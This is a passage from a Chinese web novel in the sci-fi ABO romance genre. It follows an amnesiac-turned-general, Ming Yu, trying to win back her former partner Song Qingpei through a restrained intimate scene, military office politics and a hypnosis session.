宋小柔却毫不在意地笑了笑:“这有什么?在感情里,快乐才是最重要的。” 明毓心中挣扎了片刻,最终还是摇了摇头:“不行。” 宋小柔见状,也不勉强,转身又从货架上拿了几样相对保守的物品,递给明毓:“那这些呢?这些都是入门的,不会太夸张。” 明毓接过那些物品,手指微微颤抖,心中尴尬得几乎想要立刻逃离。 她匆匆起身:“就这些吧,我……我先走了。” 宋小柔见她这模样,也不再继续勉强,笑道:“好的,明小姐,我现在帮您打包。如果还有什么需要,随时可以来找我。” 明毓匆匆道了声谢,几乎是逃也似的离开了店铺。 身为Alpha,宋惜寒还是很有分寸的,低声笑了笑:“走吧,我送你回家。” 悬浮车再次启动,明毓靠在座椅上,涌起一股复杂的情绪。 她觉得自己真是疯了! 等她回到家,宋青佩和颂颂已经睡了。 明毓走进卧室,手里紧紧攥着那个购物袋,心跳如鼓。 她从未想过自己会有一天去买这些东西,更没想到自己会真的穿上它们。 她的脸颊滚烫,仿佛被火烧一般,手指微微颤抖着打开购物袋,里面的东西让她瞬间无地自容。 尤其是那件情趣内衣,薄如蝉翼,几乎只是几根细线连接在一起,布料少得可怜。 明毓的手指刚一触碰到那柔软的布料,就像被烫到一般,猛地缩了回来,内衣被她扔到了一旁。她深深地吸了一口气,试图平复自己狂跳的心脏。 “我到底在做什么……” 她低声喃喃,声音里带着一丝懊恼和羞耻。 然而,脑海中却不由自主地浮现出她失忆时的记忆。 宋青佩曾经给她买过类似的内衣,她羞恼得骂了宋她一顿,宋青佩立刻低声下气的哄她,从那以后,就再也没有提过类似的要求。 明毓的心猛地一颤,手指无意识地摩挲着那件被她扔在一旁的内衣。 难道……宋青佩其实喜欢这样? 她的脑海中闪过这个念头,忍不住咬了咬唇,心中挣扎了片刻,最终还是伸手拿起了那件内衣。 她的手指微微颤抖,指尖触碰到那柔软的布料时,仿佛有一股电流从指尖窜遍全身,她深吸了一口气,随后缓缓脱下了身上的衣服,换上了那件几乎透明的内衣。 穿上后,明毓甚至不敢照镜子。 她的脸颊滚烫,手指紧紧攥住睡袍的边缘,仿佛这样就能掩盖住她内心的羞耻和紧张。她匆匆套上了一件长款睡袍,试图遮住那件让她无地自容的内衣。 然而,即便穿上了睡袍,她的身体依旧在微微颤抖。 她的信息素在刚才的刺激下已经越发浓郁,空气中弥漫着一股甜腻的香气,仿佛在无声地诱惑着什么。 明毓咬了咬唇,努力平复着自己的呼吸,随后鼓起勇气,走向了宋青佩的房间。 她停下脚步,手指微微颤抖着抬起,轻轻敲了敲门。 “宋青佩……” 她的声音低得几乎听不清,带着一丝犹豫和不安。 房间里没有回应,明毓的心猛地一沉。 她咬了咬唇,再次敲了敲门,声音稍微提高了一些:“宋青佩,你睡了吗?” 依旧没有回应。 明毓的心跳得更快了,手指紧紧攥住睡袍的边缘,心中涌起一股难以言喻的复杂感觉,既有失落,也有如释重负的轻松。 好在不用这么丢人了。 她转身准备离开,始料不及的,门却在此时被猛地打开了。 宋青佩目光落在明毓身上,知道她是发热期又来了,直接道:“走吧,去你房间。” 明毓的心猛地一跳,手指紧紧攥住睡袍的边缘,脸颊滚烫得几乎要烧起来。 她站在门口,脚步像是被钉住了一般,无法再向前迈出一步。 “不是。我……我有话想跟你说。”她的声音低得几乎听不清,带着一丝颤抖。 宋青佩微微皱了皱眉,“什么?” 明毓的心跳得更快了,她鼓起勇气走到宋青佩面前,停下脚步,手指微微颤抖着抬起,轻轻拉住了宋青佩的手。 宋青佩的身体微微一僵,眼神中闪过一丝惊讶。 明毓心跳如雷,手指紧紧攥住宋青佩的手,低垂着头小声说:“宋青佩,我……我知道我之前说了很多难听的话,伤害了你。我……我很抱歉。” 没想到她会道歉,宋青佩眼神中闪过复杂的情绪。 她打量着明毓,语气中带着一丝不确定:“你不用玩这些花样。我会按照约定在发热期安抚你,这是我们之间的交易,我会遵守的。” 明毓的心猛地一沉,没想到宋青佩居然会这么看她。 可又不甘心就此放弃,她犹豫了一瞬,猛地向前一步,伸手抱住了宋青佩的腰。 明毓的脸颊贴在她的颈窝,声音带着一丝哽咽,终于将心中的话脱口而出:“宋青佩,我……我们能不能回到以前?” 宋青佩一愣,垂眸道:“明毓,曾经的梦梦已经死了。” 这是宋青佩第一次提到明毓失忆前的名字——“梦梦”。 明毓的心仿佛被什么东西狠狠撕裂般,憋了许久的泪水忍不住滑落,顺着脸颊滴在宋青佩的肩膀上,声音带着哽咽和卑微。 “可是……我不想失去你。宋青佩,我不想失去你……” 自从明毓恢复记忆后,宋青佩从没见过她哭,如此狼狈卑微的明毓,让她的眼神中不由闪过一丝挣扎,但很快就被理智取代。 她试图结束这个话题,“明毓,到此为止吧,让彼此留些体面。” “不!” 她不甘心,不甘心就这样被宋青佩推开,不甘心她们之间的关系只剩下冰冷的交易,她必须留住宋青佩,不管用什么方式…… 明毓的手指颤抖着,解开了第一颗纽扣。 她的动作很慢,仿佛每一个细微的移动都在与内心的羞耻和挣扎作斗争。 明毓的脸颊早已烧得通红,耳根也染上了一层淡淡的粉色,甚至连脖颈都泛起了细微的红晕。她的眼睛始终低垂着,不敢抬头去看宋青佩的表情,仿佛只要看一眼,她就会失去所有的勇气。 她的手指继续向下,解开了第二颗、第三颗纽扣。 指尖触碰到自己的肌肤时,甚至能感觉到一阵微微的颤栗。 每解开一颗,她的心跳就加快一分,仿佛有一只无形的手紧紧攥住了她的心脏,让她几乎喘不过气来。 她的衣襟渐渐敞开,露出了里面的内衣,白皙的肌肤在昏暗的灯光下显得格外脆弱。 宋青佩被她这大胆的行为给吓到了,感觉明毓简直是疯了。 平日里高高在上,不苟言笑的上将大人,此刻却在她面前做出如此荒唐的举动。她眼神复杂地看着明毓:“你疯了吗?你知道你在做什么吗?” 明毓的身体微微一颤,手指停在了最后一颗纽扣上。 她的声音低得几乎听不清,带着一丝哽咽和卑微:“我知道……在做什么。青佩,以前你想要梦梦做的,我都可以去做……求你,回到从前好不好?” 宋青佩的脑海中一片混乱,她从未想过,明毓会为了挽回她,做到这种地步,可是现在对于已经死心的她来说,只是困扰。 “明毓,我们之间……早就结束了。你不需要为了我做到这种地步。” 宋青佩说着抓住明毓的肩膀,试图将她推开, “不,没有。” 明毓的身体像藤蔓一般紧紧缠绕着她,任凭她如何用力,都无法挣脱。 她的肌肤滚烫,灼热的体温透过薄薄的衣物传递过来,宋青佩感觉自己的理智在一点点崩塌,信息素不受控制在空气中悄然弥漫,带着一种无法抑制的躁动。 宋青佩从未想过,自己会在这种情况下对明毓的信息素产生反应。 明毓也察觉到了宋青佩的变化,她的眼中闪过一丝欣喜,随即变得更加大胆,手指轻轻抚过宋青佩的脸颊,指尖带着微微的颤抖,却坚定地向下滑去,落在她的颈侧。 灼热呼吸喷洒在宋青佩的耳畔,带着一种令人心慌的热度。 明毓的声音低哑而柔软,像是带着某种蛊惑:“青佩……你感觉到了吗?你也在渴望我,对不对?” 宋青佩手指紧紧攥住明毓的肩膀,她知道自己应该推开明毓,应该保持清醒,可是她的身体却背叛了她的意志。 她的信息素愈发浓烈,与明毓的气息交织在一起, 在信息素的刺激下,明毓的渴望越发强烈,她的唇落在宋青佩的颈侧,指尖的温度仿佛带着电流,让宋青佩的心猛地一颤,手指陡然收紧,指尖几乎要嵌入她的肌肤。 可明毓却仿佛感觉不到痛一般,反而更加用力地抱住宋青佩。 恨不能溺死在她的怀中,被亲吻,被满足,被填满…… 宋青佩的理智在明毓的强势攻势下逐渐溃败,内心的防线一点点崩塌。 明毓的唇缓缓上移,落在宋青佩的耳垂上,轻轻咬了一下。 宋青佩的身体猛地一颤,几乎是从牙缝中挤出来的:“明毓……你……够了……” “不……不够。” 明毓没有停下,她的手指轻轻抚过宋青佩的腰际,带着一种令人心慌的温柔。 她的声音低哑而柔软,带着一丝恳求:“青佩……让我靠近你,好不好?我……我想要你,想要完全属于你。” 宋青佩的理智终于在这一刻彻底崩塌。 第30章 完全标记我 属于的Alpha信息素瞬间弥漫在房间内。 宋青佩理智不在,猛地按住的明毓的肩膀,反守为攻,将她狠狠地按在了床上,仿佛被逼到绝境的母狼,终于忍不住露出了自己的獠牙。 自从恢复记忆后,明毓还从未感觉到宋青佩的信息素波动如此大,反而被刺激得越发激动,体内的Omega信息素更是瞬间外溢,越发浓郁。 她本能地抱着宋青佩,在她怀里蹭来蹭去,试图获得安抚。 羞耻的话语忍不住自唇间溢出,“抱我……” 伴随着黏腻两个字,宋青佩理智不在,猛地将明毓压到了身下。 明毓的身体在宋青佩的怀抱中微微颤抖,她的手指紧紧抓住宋青佩的肩膀。吻落在她的颈侧,带着一种无法抗拒的热度,让明毓的心跳加速,呼吸变得急促。 她的脑海中一片混乱,理智在欲望的冲击下逐渐溃散,只剩下对宋青佩的渴望。 “青佩……”明毓的声音低哑而柔软,“标记我……完全标记我……” 她的声音仿佛带着某种魔力,让宋青佩情不自禁地将热切的吻落在明毓的唇上,锁骨,颈窝,一点点向下…… 明毓在她的身下颤抖,身体几乎软成了一摊春水,深入骨髓的快感让她几乎忍不住呻—吟出声。“唔,嗯……” 她紧紧地攀住宋青佩的脖子,仿佛抱住救命的父母,喑哑的嗓音夹杂着无法掩饰的颤抖:“青佩…我……我想要你,想要完全属于你。” 伴随着明毓撕扯她的衣服,宋青佩不由睁眼看向她。 身下的人衣衫凌乱,脸颊绯红,眯起的眼尾满是沉溺,而宋青佩却从那双瞳孔中,看到了同样的自己,沉溺于欲望中的自己。 她……这是在干什么? 她就这么又和明毓纠缠到了一起,清醒过后她该如何自处? 就在最后关头,宋青佩的理智似乎被唤醒了一瞬。她猛地停下,眸中闪过茫然,随即理智终于全部回笼。 她猛地推开明毓,踉跄起身,冲向床头柜。 在急促的喘息中,宋青佩拿出一支抑制剂,毫不犹豫地注射到自己的体内。 一瞬间,冰凉的液体,让她本就不浓郁的信息素尽数消退。 而陡然失去安抚的明毓,不可置信地看着她的动作,仿佛一碰冷水当头浇下。 她不由茫然地眨了眨眼,“……你在干什么?” 此时此刻,宋青佩早就没了原本的镇静从容,毕竟这一次她确实动了欲念,再说是明毓逼的,未免也太站不住脚了。 她移开眼,不去看明毓,低声道:“我……我可以安抚你,但不能完全标记你。” 听到她这么说,明毓整个人仿佛被不上不下地吊到半空般难受,整个人的理智早就所剩无几,近乎崩溃地质问:“为什么?你到底要我怎么做?” 宋青佩无奈地解释道:“我们根本就没感情了,我不想一错再错下去。” 明毓的眼中闪过一丝愤怒,她生气地反驳:“我明白自己的心了,我在乎你!” 已经恢复了理智宋青佩,坚定道:“不,你只是不甘心,加上信息素的刺激而已。你问问自己,真的能坦然接受失忆后的一切吗?” 明毓陷入了沉默。 宋青佩看着她的沉默,心中闪过一丝痛楚。 她深吸了一口气,冷静道:“我们从来都没有平等地看待过彼此,你失忆后只能依靠我,于是恢复记忆后,毫不犹豫地将我甩开。可你失忆后视为耻辱的一切,反而是我最珍惜的日子。” 见她不作声,宋青佩苦笑道:“你看吧,我们甚至都谈不上心意相通,何谈爱? 明毓无法反驳,她茫然地望着宋青佩。 看着她这副模样,宋青佩一反之前的冷淡,长叹一声,“明毓,你的歉意我接受了,之前我不该故意羞辱你。为了颂颂,让我们做朋友吧,我也会按照约定安抚你,只是希望你……” 她的目光落在明毓一言难尽的内衣上,眼神复杂地拿起一旁的睡袍,披在她的身上,无奈道:“别做这种傻事了。” 一瞬间,明毓的羞耻感达到了顶峰,她感觉自己像个笑话。 猛地推开宋青佩,落荒而逃。 明毓冲进自己的房间,猛地关上门,背靠在门上,身体微微颤抖。 她的手指轻轻拂过自己的唇,仿佛还能感受到明毓的温度。 一瞬间,巨大的羞恼冲击着她强烈的自尊,连带着原本热烈的信息素都消退下去。她万万想不到,一直没办法压抑的发热期,居然会以这种方式强行压抑下去。 明毓气地将身上不堪入目的内衣脱下,狠狠地扔进了垃圾桶。 然后她洗了个澡,躺在了床上。 可一闭上眼,宋青佩说的话就在她的耳边回荡。 “我们就没感情了,我不想一错再错。” “你问问自己,真的能坦然接受失忆后的一切吗?” “我们甚至都谈不上心意相通,何谈爱? …… 冷静下来,她反而开始认真思索宋青佩说的话。可是哪怕认真思索之后,她依旧忍不住嗤之以鼻。 她不理解,宋青佩为什么一定要执着于翻旧账,非得提过去的事情。 那些狼狈的过往,确实是她不愿提起的羞辱往事,她抗拒弱小和依赖,长久的生存经验告诉她,只有强者才能主宰自己的命运。 她付出了那么多才走到这一步,凭什么要回到在垃圾星再过那种日子呢? 现在她有能力提供更好的生活,也愿意接受宋青佩,她们一家人好好生活不好吗?为什么非得没事找事地纠结那些细枝末节的小事。 明毓不理解,也不想理解。 她偏执地觉得还是方式不对,才不能从宋青佩那里得到自己想要的结果。 想到这,她不由陷入了沉思,认真复盘了一番。 两人刚见面时,她对宋青佩威逼利诱,宋青佩看似妥协,但是很快就开始抗拒,她还挨了一巴掌,事实证明,这条路是行不通的。 后来她试图示好,缓和两人的关系,但是宋青佩明显不为所动。 直到今日,她不惜主动……**。 想到这,明毓耳根微红,但敏锐地发现了不同的地方。 今天的宋青佩虽然依旧拒绝了她,但她的信息素有了反应,情绪也明显发生了极大的变化,甚至,最后那一番话,都是温柔中带着悲悯的。 哪里不一样呢? 宋青佩肯定不是迷恋色、欲的人,不然肯定不会中途停止。 明毓皱眉沉思,忽然,脑海中闪过一个名字—— 梦梦。 没错,结合宋青佩一直提到的过去,明毓终于抓住了事情的重点。 宋青佩一直在意的都是她失忆后,那个叫梦梦的形象。 想到这,她不由陷入了沉思。 既然这些手段都无法让宋青佩回心转意,那她不妨换一种方式。 —— 翌日,明毓下楼时,宋青佩已经在厨房忙碌。 颂颂则坐在餐桌旁,手里捧着一杯牛奶,小脸上满是期待。 明毓走到餐桌旁,轻轻摸了摸颂颂的头,柔声说:“早上好,颂颂。” 颂颂抬起头,眼睛亮晶晶的,开心地回应:“妈咪,早上好!” 宋青佩听到声音,回头看了一眼明毓,眼中闪过一丝诧异,她没想经历了昨夜,明毓的态度还会如此柔和。 她收回视线,淡淡地说:“等一下,早餐马上就好。” 明毓微微一笑,走到宋青佩身边,轻声问:“你在做什么?” 宋青佩愣了一下,随即道:“黑虎鱼面。” 听到这个,明毓脸上闪过一丝尴尬,但很快就恢复如常,甚至还问了一句,“有我的吗?” 面对这种回答,宋青佩实在不好跟她说没有,只能含糊地点了点头。 “你去陪颂颂吧,马上就好了。” 明毓点了点头,转身回到餐桌旁,坐在颂颂身边。 她看着颂颂,眼中满是温柔:“颂颂,今天妈咪送你去上学好不好?” 颂颂的眼睛一下子亮了起来,开心地点头:“好!” 宋青佩端着早餐走过来,听到她们的对话眼中带着一丝疑惑,但很快又恢复了平静。 她将做好的黑虎鱼面放在桌上,轻声说:“先吃饭吧。” 餐桌上,气氛难得地融洽。 颂颂小嘴叭叭地说个不停,时不时逗得明毓和宋青佩笑出声来。 明毓一边给颂颂夹菜,一边温柔地回应她的每一个问题。宋青佩则安静地吃着早餐,偶尔抬头看一眼明毓,眼中闪过一丝复杂的情绪。 沉默了一会儿,明毓主动开口:“青佩,昨晚你说的话……我认真想过了。” 宋青佩的手微微一顿,笑道:“你能想通就好,过去的事就让它过去吧。” 一点也不想让事情过去的明毓,这次并没有急于反驳,而是顺着她道:“我知道你一直在意过去的事情,我会给你个满意的答案的。” 她说得含糊,宋青佩有些不解地看向她,没完全明白其中的意思。 但明毓并没有继续说,而是起身看向颂颂,说:“颂颂,准备好了吗?我们要出发了。” 颂颂兴奋地跳了起来,跑到明毓身边,拉住她的手:“准备好了!” “青佩,我们一起去送颂颂吧。” 本以为她要单独去送的宋青佩又愣了一下,但是在颂颂期待的眼神下,又不好拒绝,只得跟着一起走出家门。 明毓和宋青佩一起送颂颂去了学校,路上欢声笑语不断。 颂颂坐在后座,小脸上洋溢着幸福的笑容,撒娇道:“妈妈,妈咪,明天你们也要一起送我哦!” 明毓笑着回头,温柔地答应:“好。” 宋青佩目光偶尔扫过明毓和颂颂的互动,心中不由得柔软了几分。虽然她和明毓之间的关系依旧紧张,但为了颂颂,她愿意暂时放下心中的芥蒂。 送完颂颂后,宋青佩准备独自去公司。 明毓却坚持道,“我送你吧。” 宋青佩本想拒绝,但想到昨晚和明毓今天的表现,以为她终于想通了,最终还是点了点头。 两人上了车,车内一时陷入了沉默。 明毓手指无意识地摩挲着车窗边缘,偶尔偷瞄一眼宋青佩的侧脸,试图从她的表情中看出些什么。 宋青佩则专注地看向窗外,脸上看不出任何情绪波动。 车内只有引擎的轰鸣声和偶尔传来的风声,气氛显得有些压抑。 终于,车子停在了公司门口。 宋青佩解开安全带,正准备下车,明毓却突然开口:“青佩,我……” 宋青佩停下动作,转头看向明毓,眼中带着一丝疑惑:“怎么了?” 明毓张了张嘴,似乎想说些什么,但最终只是摇了摇头,勉强挤出一丝笑容:“没什么,路上小心。” 宋青佩点了点头,推开车门下了车。 明毓看着她的背影,心中涌起一股难以言喻的失落感。 她深*吸了一口气,正准备发动车子离开,却突然看到宋青佩在公司门口停下了脚步。 不远处,一个熟悉的身影正朝宋青佩走来。 那人穿着一身干练的职业装,脸上带着明媚的笑容,正是——慕容瑞雪。 “青佩!” 慕容瑞雪笑着挥了挥手,看到不远处车里的明毓,惊讶道:“明上将送你来的?” 宋青佩点了点头,目光不自觉地瞥了一眼车内的明毓。 慕容瑞雪顺着她的目光看去,正好与明毓的视线对上,她笑着挥了挥手,算是打了个招呼。 明毓勉强挤出一丝笑容,点了点头,心中却泛起一阵酸涩。 她看着宋青佩和慕容瑞雪有说有笑地走进公司,那种自然流露的亲密感让她感到无比刺眼。曾经,宋青佩也是如此对待失忆后的她,温柔、体贴,仿佛她们之间从未有过隔阂。 可现在,一切都变了。 明毓心情极其复杂地让司机开车,去了军部大楼。 进了办公室,明毓极快地进入了工作状态,手中翻阅着关于高级军校的筹建文件。 没多久,宋惜寒就拿着文件走了进来,说:““明毓,林元帅让你过去一趟。” 明毓点了点头。 宋惜寒提醒她,“看样子,战南笙已经去找过元帅了,你小心点。” 她站起身整理了一下军装,语气平静:“我知道了。” 她走出办公室,穿过长长的走廊,朝着林海平元帅的办公室走去。 一路上,她的步伐稳健,神情淡然,仿佛即将面对的不过是一次普通的汇报。 来到元帅办公室门前,明毓轻轻敲了敲门。 “进来。”里面传来林海平低沉而威严的声音。 明毓推门而入,看到林海平正坐在办公桌后,手中翻阅着关于高级军校的创办文件。他的眉头微微皱起,似乎在思考着什么。 “元帅。”明毓站在桌前,恭敬地行了一个军礼。 林海平抬起头,看到是明毓,脸上露出一丝笑意,指了指对面的椅子:“坐吧。” 明毓依言坐下,双手放在膝上,目光平静地看向林海平。 林海平放下手中的文件,双手交叉放在桌面上,语气温和:“明毓啊,高级军校的筹建工作进展得不错,你辛苦了。” “这是我应该做的。”明毓淡淡地回应。 林海平点了点头,随即话锋一转:“不过,我听说你调走了战南笙的两个得力下属,林奇和姜泽?” 明毓神色不变,语气平静:“是的,元帅。高级军校的筹建需要各方面的人才,林奇和姜泽在军事训练和战略规划方面有着丰富的经验,他们的加入对军校的创办至关重要。” 林海平微微皱眉,语气中带着一丝无奈:“明毓,我理解你的想法。但是,战南笙那边反应很大啊。你也知道,她的父亲是总统,事情闹得太僵,对你未必有利。” 明毓的目光依旧平静,语气中带着一丝不容置疑的坚定:“元帅,林奇和姜泽的能力确实符合军校的需求,调走他们是出于大局考虑。” 林海平叹了口气,“明毓,我知道你一向坚持原则,但有时候,过刚易折啊。战南笙那边,你多少还是要给点面子,毕竟大家都是同僚,没必要闹得这么僵。” 明毓沉默了片刻,随即她抬起头,目光坚定:“元帅,我明白您的意思。但是,高级军校的创办关系到军部的未来,我不可能因为个人关系而妥协。如果战南笙对任命有异议,她可以按照程序提出申诉,我会尊重军部的最终决定。” 林海平看着明毓,眼中闪过一丝复杂的神色。 他无奈地摇了摇头,语气中带着几分感慨:“你啊,还是这么倔,认准了的事情,九头牛都拉不回来。” 明毓的眼神微微闪动了一下,但很快恢复了平静。 她淡淡地说道:“元帅,如果没有什么其他事情,我先回去工作了。” 林海平点了点头,语气中带着几分无奈:“去吧,不过我还是希望你能和战南笙好好相处,尽量缓和一下关系。” 明毓站起身,转身离开了办公室。 走出元帅办公室,明毓的内心却并不如表面那般平静。 她知道,林海平的话并非没有道理,战南笙的父亲影响力确实不容小觑。然而,她并不打算妥协,她选择调来这两个人纵然有私人原因在,但是两人能力确实是一等一的,对军校建立不可或缺,她问心无愧。 回到办公室,明毓重新坐回椅子上,继续翻阅着手中的文件。 然而,就在这时,办公室的门再次被敲响。 “请进。”明毓抬起头,语气平静。 门被推开,宋惜寒再次走了进来。 她看到明毓略显疲惫的神色,眼中闪过一丝关切:“怎么样?元帅说什么了?” 明毓摇了摇头,语气淡然:“没什么,只是让我和战南笙缓和一下关系。” 宋惜寒挑了挑眉:“那你打算怎么办?继续硬刚到底?” 明毓没有回答,只是微微勾了勾嘴角,露出一抹淡淡的笑意。 宋惜寒见状明白了她的意思,转而说:“对了,你的发热期是不是还没过去?我看你脸色不太好。” 明毓点了点头,语气平静:“嗯,暂时没事。” 宋惜寒皱了皱眉,语气中带着几分担忧:“你这样下去不行啊,发热期本来就对身体消耗很大,你还这么拼命,迟早会撑不住的。” 明毓没有接话,只是低头继续翻阅着手中的文件。 “你啊,真是倔得让人没办法。” 宋惜寒叹了口气,继续道:“正好,我也有件事跟你说,关于慕容瑞雪的。” 听到这个名字,明毓立刻有了兴趣,抬眸道:“你说。” 提起慕容瑞雪时,宋惜寒语气中带着明显的欣赏:“明毓,慕容瑞雪这个人,我觉得是个不可多得的人才。她所在的蓝海集团,在机甲维修和研发方面有着非常强的实力。如果我们能把她招揽到高级军校做老师,对我们的相关专业会有很大的帮助。” 明毓闻言,眉头微微皱起,手指轻轻敲击着桌面,似乎在思考着什么。 片刻后,她点了点头,语气平静:“可以,不过在此之前,需要先做背景调查。毕竟,高级军校的师资力量必须确保绝对可靠。” 宋惜寒听到明毓的话,忍不住调侃道:“慕容瑞雪作为你的‘情敌’,怕是早就被你查了个底朝天吧?还用得着再做背景调查?” 明毓闻言,眉头皱得更紧,语气中带着一丝不悦:“别胡说八道。你对慕容瑞雪了解多少?” 宋惜寒察觉到明毓的严肃,脸上的笑意也收敛了起来。 她思索了片刻,如实回答道:“我和慕容瑞雪是同一届军校毕业的,她在机甲维修方面确实很有天赋,毕业后就加入了蓝海集团,听说这几年在蓝海的表现非常出色。不过,我对她的背景了解得并不多。” 明毓听完宋惜寒的解释,眉头依旧紧锁,片刻后低声说:“先等等吧,让明芮查完她的背景再说。” 宋惜寒点了点头,虽然心中有些疑惑,但也没有再多问。 她知道,明毓一向谨慎,既然她这么说了,自然有她考虑。 送走宋惜寒,明毓处理完手上的工作,放松下来,脑海中又不由浮现出宋青佩和慕容瑞雪有说有笑的画面。 她得做点什么才行。 昨晚想的事,她不由越发坚定起来,既然明毓喜欢失忆状态的她,那她就恢复那时候好了,只是让她做出那些黏人撒娇的情态,对她还真有些难度。 不过……明毓犹豫片刻,提前联系了李蔓。 忙完手上的事情后,直接去找了她。 李蔓看到明毓进来,一脸苦笑:“上将,你来得这么早啊?” 明毓没有寒暄,直接开门见山:“李蔓,我之前电话里跟你说的事情。让我回到失忆的状态,你找到办法了吗?” 面对如此刁钻的问题,李蔓皱起眉头:“您是说……回到失忆的状态,还不能影响您的正常生活?” 明毓点了点头,语气坚定:“对,不能影响我的工作。” 李蔓放下手中的病历,神情变得严肃起来:“明上将,这个要求……有点难。我可以帮你联系一位专业的心理医生,她是这方面的专家,或许能给你一些建议。” 明毓点了点头,“可以。” 李蔓拿起电话,拨通了一个号码。 电话那头传来一个温和的女声:“喂,李医生?” “是我,林医生。”李蔓说道,“我这里有一位病人,情况有些特殊,可能需要你的帮助。” 电话那头的林医生似乎对这种情况并不陌生,语气平静地回应:“好的,让她过来吧,我这边随时可以安排。” 挂断电话后,李蔓看向明毓:“林医生是心理催眠领域的专家,可以去找她试试。不过,我必须提醒您,催眠并不是万能的,它可能会带来一些意想不到的副作用。” 明毓点了点头,选择继续。 李蔓叹了口气,“好吧,那我陪你一起去。” 两人驱车前往林医生所在的医院。 一路上,明毓的心情有些复杂。她不知道自己是否真的能通过催眠回到失忆前的状态,但她知道,这是她唯一的机会。 到了诊所,林医生已经在等候。 她是一位中年Omega,气质温和,眼神中透着一股让人安心的力量。 她微笑着看向明毓,语气柔和:“你就是明毓吧?李医生已经跟我简单介绍过你的情况了。” 明毓点了点头:“是的,林医生,不知道您有没有办法?” 林医生示意明毓坐下,语气平静:“催眠确实可以帮助你回溯到过去的记忆,但前提是你的潜意识愿意接受这种改变。” 明毓沉默了片刻,最终点了点头:“我明白,我愿意试试。” 林医生微微一笑:“好,那我们现在就开始吧。” 明毓躺在催眠椅上,脑部连接了高级仪器,闭上眼睛,耳边传来林医生轻柔的声音。 她的意识逐渐模糊,仿佛进入了一个陌生的世界。 在那个世界里,她看到了失忆前的自己——那个强大、自信、无所畏惧的明毓。她站在高处,俯视着一切,仿佛整个世界都在她的掌控之中。 然而,随着催眠的深入,她也看到了失忆后的自己——那个脆弱、依赖,甚至有些卑微的梦梦,她眼中满是宋青佩。 两个形象在她的脑海中不断交织,仿佛在进行一场无声的争斗。 明毓感到一阵头痛欲裂,她想要逃离,却发现自己无处可去。 就在这时,林医生的声音再次响起:“明毓,试着接受她们。她们都是你的一部分,只有当你真正接受了自己,才能找到内心的平衡。” 明毓的呼吸逐渐平稳,她的脑海中浮现出宋青佩的身影。 那个曾经对她温柔以待的宋青佩,那个如今对她冷淡疏离的宋青佩。 林医生的声音轻柔而舒缓,仿佛带着某种魔力,缓缓引导她进入放松的状态。 “明毓,闭上眼睛,深呼吸……放松你的身体,放松你的思绪……现在,我会给你一个关键词,当你听到这个词时,你会进入催眠后的状态,回到失忆时的自己。你可以沉浸在那个状态中,但也随时可以控制自己醒来的时间。” “这个关键词是——‘梦’。” 明毓的呼吸逐渐平稳,身体也完全放松下来。 她的意识开始模糊,仿佛被一层柔软的薄雾包裹着。 林医生的声音继续在她耳边回响:“当你听到‘梦梦’这个词时,你会忘记自己已经恢复记忆,你会回到当初。但请记住,你随时可以醒来,只要你愿意。” 明毓的脑海中浮现出失忆时的画面—— 那个被宋青佩称为“梦梦”的自己。 她的嘴角不自觉地浮现出一丝温和的笑,仿佛回到了当初。 林医生轻声说道:“现在,我会唤醒你,但关键词已经植入你的潜意识。当你说出这个指令,催眠便后开始,它会帮助你进入想要的状态。” 明毓缓缓睁开眼睛,眼神中带着一丝迷茫,但很快恢复了清明。 林医生微笑着说:“记住,催眠只是一种工具,真正的改变在于你自己。你可以随时进入那个状态,但也要学会控制它。” 明毓点了点头,心中不由多了些奇怪的感觉,好似自己分裂成了两个人格,她可以通过这个关键词回到失忆时的状态,也可以随时醒来,回到原本的自己。 她已经找到了一个极好的方法,去重新建立她和宋青佩的关系。 她忽然有些期待宋青佩面对这一切的反应。 离开医院,和李蔓分别后,明毓忍不住给宋青佩打了电话。 电话那头传来宋青佩略带疑惑的声音:“明毓?” 明毓深吸了一口气,说:“青佩,你今晚可以早点回来吗?” 电话那头沉默了片刻,最终传来宋青佩轻柔的声音:“好,我尽量早点回去。” 挂断电话的宋青佩,低头看着手中的工具,脑海中不由自主地浮现出明毓的声音,那声音仿佛在期待着什么,让她担忧起来。 明毓难道又想搞什么事? 想到昨晚明毓穿的衣服,宋青佩头几乎要疼起来了,她摇了摇头试图将那些杂念赶出脑海,重新专注于眼前的机甲维修工作。 慕容瑞雪站在一旁,敏锐地察觉到了宋青佩的异样。 她挑了挑眉,语气中带着一丝调侃:“青佩,是明上将的电话吧?你们和好了?” 宋青佩手中的动作微微一顿,语气平静:“只是朋友而已。” 慕容瑞雪显然对这个回答不太满意,她还想继续追问,却被宋青佩转移了话题。 “瑞雪姐,这台机甲的能源系统有点问题,我们得抓紧时间修好。” 慕容瑞雪见状,只得压下心中的好奇,点了点头,开始认真指导宋青佩。 两人配合默契,动作流畅,仿佛已经合作了无数次。 然而,随着维修的深入,她们之间的距离不可避免地拉近了。 慕容瑞雪忽然凑近她,呼吸间带着一丝淡淡的甜香,萦绕在宋青佩的鼻尖,宋青佩的身体微微一僵,她下意识地后退了一步,试图拉开距离。 但慕容瑞雪却仿佛没有察觉到她的不适,依旧专注地指导着她。 “这里需要再调整一下,能量传输的稳定性不够。” 慕容瑞雪的声音在宋青佩耳边响起,带着一丝温热的气息。 宋青佩强压下心中的尴尬,点了点头,继续手中的工作。 就在这时,慕容瑞雪突然伸手握住了宋青佩的手腕,一脸认真地说:“青佩,等一下,这里需要更精确的调整。” 宋青佩的身体瞬间僵硬。 慕容瑞雪的手掌温度透过皮肤传来,带着一种无法忽视的触感。 她下意识地想要抽回手,但慕容瑞雪却握得更紧了。 宋青佩下意识地抬头看向慕容瑞雪,却见对方深深地凝视着她,眸中的热切几乎无法掩盖,她猛地想到之前慕容瑞雪在说的话,心中一紧,她感觉到了一种前所未有的压力。 她张了张嘴,试图说些什么,但慕容瑞雪却抢先一步开口了。 “青佩,我对你有好感。”她的声音带着一丝颤抖,仿佛在压抑着内心的情感,“如果你和明上将已经没有可能了,能不能……考虑一下我?” 宋青佩愣住了,她完全没有想到慕容瑞雪会如此直接地表白。 她的脑海中一片空白,一时间不知道该如何回应。 “瑞雪姐,我……”宋青佩的声音有些干涩,“我现在只想好好工作,不想考虑感情的事。” 慕容瑞雪的眼神瞬间黯淡了下来,她松开了宋青佩的手,勉强挤出一丝笑容:“我明白了,青佩。你不用有压力,我只是……想让你知道我的心意。” 宋青佩的心中涌起一股复杂的情绪,她看着慕容瑞雪强颜欢笑的样子,心中有些不忍。但她知道,自己不能给她任何希望。 她深吸了一口气,语气中带着一丝歉意:“瑞雪,对不起。我……” 慕容瑞雪点了点头,脸上的笑容依旧勉强:“没关系,青佩。我们还是朋友,对吧?” 